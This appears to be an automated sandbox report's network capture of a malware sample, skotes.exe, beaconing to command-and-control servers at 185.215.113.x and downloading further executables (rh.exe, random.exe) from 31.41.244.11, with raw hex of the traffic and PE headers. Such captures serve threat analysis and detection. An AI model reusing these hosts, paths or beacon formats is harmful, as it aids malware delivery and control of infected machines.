Nov 23, 2024 19:53:11.517100096 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 64 33 63 64 37 61 34 33 66 65 33 65 34 33 33 32 65 32 65 31 61 65 66 35 31 33 64 65 31 36 32 62 66 65 61 39 61 61 30 65 61 31 66 30 30 34 30 31 62 36 39 36 38 36 30 36 39 39 31 34 35 32 39 62 33 61 61 64 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"0d3cd7a43fe3e4332e2e1aef513de162bfea9aa0ea1f00401b69686069914529b3aad17e------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHCAEGCBFHJDGCBFHDAF--
Nov 23, 2024 19:53:13.709054947 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 19:53:13.823440075 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50102	185.215.113.43	80	4540	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:54:03.643127918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 19:54:05.142740011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 18:54:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50109	185.215.113.43	80	4540	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:54:06.772285938 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 19:54:08.179193020 CET	722	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 18:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 33 0d 0a 20 3c 63 3e 31 30 30 38 34 39 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 37 64 63 34 34 35 34 62 62 23 31 30 30 38 34 39 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 35 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 38 35 30 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 [TRUNCATED] Data Ascii: 213 <c>1008496001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd977dc4454bb#1008497001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008502001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008503001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008504001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008505001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50114	31.41.244.11	80	4540	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:54:08.396094084 CET	50	OUT	GET /files/rh.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 19:54:09.778604031 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 18:54:09 GMT Content-Type: application/octet-stream Content-Length: 1984512 Last-Modified: Sat, 23 Nov 2024 17:59:33 GMT Connection: keep-alive ETag: "67421805-1e4800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^K@K@Vjp <@.rsrcpL@.idata V@ )X@ettnbbde1Z@lbelwvmkK"@.taggant0K"&@
Nov 23, 2024 19:54:09.778675079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:09.778729916 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:09.778768063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:09.778804064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ${7X]EmV~s*R$Ll
Nov 23, 2024 19:54:09.778841019 CET	1236	IN	Data Raw: 97 f9 54 3a 2f f2 37 9d 24 17 c2 2f ac 31 2c 16 06 c9 ac ce 8a ec ed a5 fc 03 34 ee 81 a6 3e 7e 94 e2 f0 3b d0 e3 aa e6 38 99 1f a8 59 eb 1c 40 5e 5b 05 86 15 79 d4 fd 06 57 cc de 99 7d 7c 61 80 b6 87 75 39 59 6c b1 70 e2 37 7d a0 f0 ae f9 ff e0 Data Ascii: T:/7$/1,4>~;8Y@^[yW}\|au9Ylp7}ok"Y[,/6,5$na\NkJI#U[FphZ`(oO75D?gc(*^yf#;g,>{\|Fkmx
Nov 23, 2024 19:54:09.778877020 CET	672	IN	Data Raw: 9b 0b 22 d7 57 99 75 8d d8 5e e4 5e 42 3c d0 ed 97 22 ac 83 94 ee 3e 87 8d 7d ea 11 ef c7 b2 bd ac b1 08 14 bb dc 91 83 d2 f3 fb 26 21 fd 4f a4 1a 3a 00 4f e3 0a 95 83 39 50 43 b0 31 a9 d1 e6 27 8b f7 ce 03 b9 e9 05 69 a2 3a be 61 0a 09 78 84 dc Data Ascii: "Wu^^B<">}&!O:O9PC1'i:axQ`\|[Pe8MS9BC)/LYut'mFA<`cr_xs^oLBR&Y=az,\[\T'M(<gs#eLh
Nov 23, 2024 19:54:09.778913021 CET	1236	IN	Data Raw: d2 ba ac be e7 98 d1 b1 bc 7c 89 08 f8 27 b3 d2 de b8 dd ba 52 af da 14 76 39 10 3c 6d eb 05 f0 48 5b 79 5c ee 25 d3 d9 dc 35 26 2e 1c 3b 43 0e eb ba 5e 2f 74 98 7e b1 3f 60 19 71 f8 47 5c e4 dd 52 e8 b8 a9 ea 50 8d 8e 6d 89 73 79 d6 b6 59 58 b7 Data Ascii: \|'Rv9<mH[y\%5&.;C^/t~?`qG\RPmsyYXK1%NTfC2;'ePMJ2[!Hd3*A-kLv>9jja<rQokV_[]Q6EkT bA[Ji rsAb[MLr)e{_e
Nov 23, 2024 19:54:09.778944969 CET	224	IN	Data Raw: fd 6b 2f 8f aa f2 0e 9d c5 b4 cf 2c 3d fa f0 67 00 9a da fe 42 bf 6a de bd ce 59 94 57 68 02 7e 46 b2 3b ec dd 67 d0 75 ec 6b 9a 2f c2 ef 69 15 c2 28 22 63 73 2c e8 34 0e 12 e7 8d f0 7c 25 74 58 d6 c2 43 64 79 4c 3f a6 df 25 6a 1c 70 76 d9 93 ba Data Ascii: k/,=gBjYWh~F;guk/i("cs,4\|%tXCdyL?%jpvB{1Q8wx(8~)\|:mJ"'%uO'e=P5%$4\anZCG9%}*\;#@.,Kak^
Nov 23, 2024 19:54:09.778981924 CET	1236	IN	Data Raw: 00 68 04 95 da b7 52 6b e4 e2 fe a9 5e 17 ac 05 8d 72 da 29 10 ee 86 1a 83 1a 6d e2 28 8b 60 a5 34 ef c0 bb 58 1e fa d5 7f 5e e4 29 8b 2e 0a ee 64 cf d4 39 94 e2 49 ec ad 41 ac 0b b9 cb 77 29 10 16 5a 78 9e 1a e0 bf c9 69 60 a5 d4 f0 39 98 58 12 Data Ascii: hRk^r)m(`4X^).d9IAw)Zxi`9XN\^n_UE:)@qu_itX^Kd&Wd$c+;-I,q,{DkXnK%q3fzRt2dX&i
Nov 23, 2024 19:54:09.980659962 CET	1236	IN	Data Raw: 37 91 60 a5 b8 27 19 13 58 d6 d2 69 c7 5e e4 24 a4 b1 b8 f2 fd 87 06 7e 9a 58 79 04 de 3e e8 18 80 77 3b 8e 82 90 4b 74 b5 d2 da e9 db 34 6b 90 1c c1 88 95 90 eb 0c 6b af 5b 38 1d 7e 7f d4 97 07 d3 13 16 97 e8 61 53 1c f2 ed 9c ae 33 b8 2c b4 b3 Data Ascii: 7`'Xi^$~Xy>w;Kt4kk[8~aS3,A3J\kz[*BJS:2L49=%jR$t61L(f&#w;a1L<9sKs7%a?+&Ad_o01t3j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50128	185.215.113.43	80	4540	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:54:15.800230980 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008496001&unit=246122658369
Nov 23, 2024 19:54:17.132246017 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 18:54:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50133	31.41.244.11	80	4540	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 19:54:17.270114899 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 23, 2024 19:54:18.700206995 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 18:54:18 GMT Content-Type: application/octet-stream Content-Length: 4384256 Last-Modified: Sat, 23 Nov 2024 17:21:55 GMT Connection: keep-alive ETag: "67420f33-42e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c4 00 00 04 00 00 e5 15 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 23 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 22 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2@J@pC@ _qs#" px'@.rsrc p'@.idata q'@ 7q'@pcnvptyg@4'@tgxkadws0B@.taggant0@"B@
Nov 23, 2024 19:54:18.700273037 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:18.700284004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:18.700319052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:18.700331926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 19:54:18.700392962 CET	672	IN	Data Raw: aa 23 22 f2 d8 6e 44 bf 30 98 c2 61 d4 b0 19 56 ae 3a fa 86 70 14 60 d9 96 5b 41 b2 c7 18 38 96 75 b0 e8 31 0e df c8 cd 1c d7 59 7a 13 79 31 65 a5 e9 79 ee 47 dc b4 a4 7d a0 b1 3b c7 d4 b9 ec e8 fd 0b 9e 17 ad fb 54 24 01 ca 9f 53 c6 21 1d c1 9b Data Ascii: #"nD0aV:p`[A8u1Yzy1eyG};T$S!d"1AGQ!D!@EA)$\!`!12.1V @u:MITi9L.z6p_8"FZhu+d9c6TFqEe:\|*s]0'QibU3JQ
Nov 23, 2024 19:54:18.700404882 CET	1236	IN	Data Raw: f0 36 b3 a1 75 e7 71 25 bf 1e 74 a3 80 e6 78 3a 20 5d ab a7 7c ea aa 76 6f d9 b7 ce 6c f6 14 21 2d 59 46 b9 35 ec 36 69 2c e9 e8 e7 9b a0 46 05 11 70 49 da 55 0d e1 37 03 b8 ba 42 af 69 d5 03 96 5f 26 cb 9e a6 9c cf 19 f0 64 0f d3 c6 c9 26 17 fd Data Ascii: 6uq%tx: ]\|vol!-YF56i,FpIU7Bi_&d&yk8>mi9F;_y4W2)<6HQ G{M_><h%$)3BI{]tnGz,j'$Ig H\|{l21AS5DvT@G%b
Nov 23, 2024 19:54:18.700417042 CET	1236	IN	Data Raw: 0d 69 af 9c 6e 4c cb 9c 20 fd 2d 66 2f 72 7c 7a f2 cd 61 a7 75 29 f5 8b f2 1a a0 d5 f8 80 08 7a 2f ee b2 d9 fa 10 f6 4a 4a a5 71 25 43 f9 0b 8d 09 87 48 4f ea 68 40 91 17 f9 a0 f6 61 c8 68 71 24 95 ff 7c 35 c0 bc 56 2f a9 6b bd 01 ee fb bb 0e f3 Data Ascii: inL -f/r\|zau)z/JJq%CHOh@ahq$\|5V/kxIKm%P[H^TgtwO1`E8nNH4oJ5R.O/,CL55j}w#$5S=P\|(}MWkE,y{[e\|aH<
Nov 23, 2024 19:54:18.700584888 CET	1236	IN	Data Raw: 1b ad eb 34 30 da c8 02 03 98 dc eb 2f 9c be 99 fc e3 b2 42 cf ff b2 94 f4 2c bc 9f 9e e9 d0 04 fe 40 40 57 d5 3a 99 5a 21 27 84 db 5d 3e b1 d5 b5 c3 b0 bd b8 28 87 c6 40 0d 29 33 df b9 bf 65 e2 cd 4f dc ad 03 e9 c4 af 41 68 11 70 bf 8c 47 5a cf Data Ascii: 40/B,@@W:Z!']>(@)3eOAhpGZOH1<Pml\hXY2i@X\|~ Q,bx>Id>I$;kWJ%&!%QFiZ:^OCF$* +fuD"!8mHHp=Q
Nov 23, 2024 19:54:18.700598955 CET	1236	IN	Data Raw: d7 8d c8 e5 1f d2 48 77 5e 17 77 c9 4f b5 92 69 52 e8 d4 dc 48 e9 a8 67 84 a0 13 09 1b c7 c7 8f 7b 00 c4 a0 bd 75 24 9c 35 f1 ba 47 f5 80 43 63 fa 7a 78 f0 72 09 be 97 bb 41 2a f1 d7 ff c1 b7 10 91 71 67 f9 6e a4 e4 86 fe d5 39 eb cf 18 68 bd 32 Data Ascii: Hw^wOiRHg{u$5GCczxrA*qgn9h2cz^:,_oKL>d);^7 u8\-1+iP[;d$Z,f(X1SKeQ%-~ZGi._[TBB$mC!
Nov 23, 2024 19:54:18.823805094 CET	1236	IN	Data Raw: 13 02 bd aa 4f fe 1d e8 a4 66 4a 56 66 96 3c a9 eb 4c a2 cd 52 31 39 9a 94 0f b3 cc 2f 48 d1 76 9e f5 50 01 07 ed 40 b3 d5 37 dc a5 37 90 d4 a6 96 3f a6 ec 4f d7 a5 a5 4c a9 7b 3c 9c 9f 4c c1 dc 83 66 30 3b 6f 59 be 16 9b 4c 68 3b f5 a6 8c 38 97 Data Ascii: OfJVf<LR19/HvP@77?OL{<Lf0;oYLh;8$eAOl<Eoa!ob)ar[LS`m<QG\$nc9%TC`"*YhZs_LJo>[8mQB8li<"VYL!HE

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49714	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:52:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 6e 48 67 37 67 35 75 71 55 75 65 78 62 52 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 38 38 61 64 33 66 64 63 66 30 32 30 32 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: FnHg7g5uqUuexbRM.1Context: 8f88ad3fdcf0202d
2024-11-23 18:52:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 18:52:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 46 6e 48 67 37 67 35 75 71 55 75 65 78 62 52 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 38 38 61 64 33 66 64 63 66 30 32 30 32 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: FnHg7g5uqUuexbRM.2Context: 8f88ad3fdcf0202d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-23 18:52:11 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 46 6e 48 67 37 67 35 75 71 55 75 65 78 62 52 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 38 38 61 64 33 66 64 63 66 30 32 30 32 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: FnHg7g5uqUuexbRM.3Context: 8f88ad3fdcf0202d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 18:52:11 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
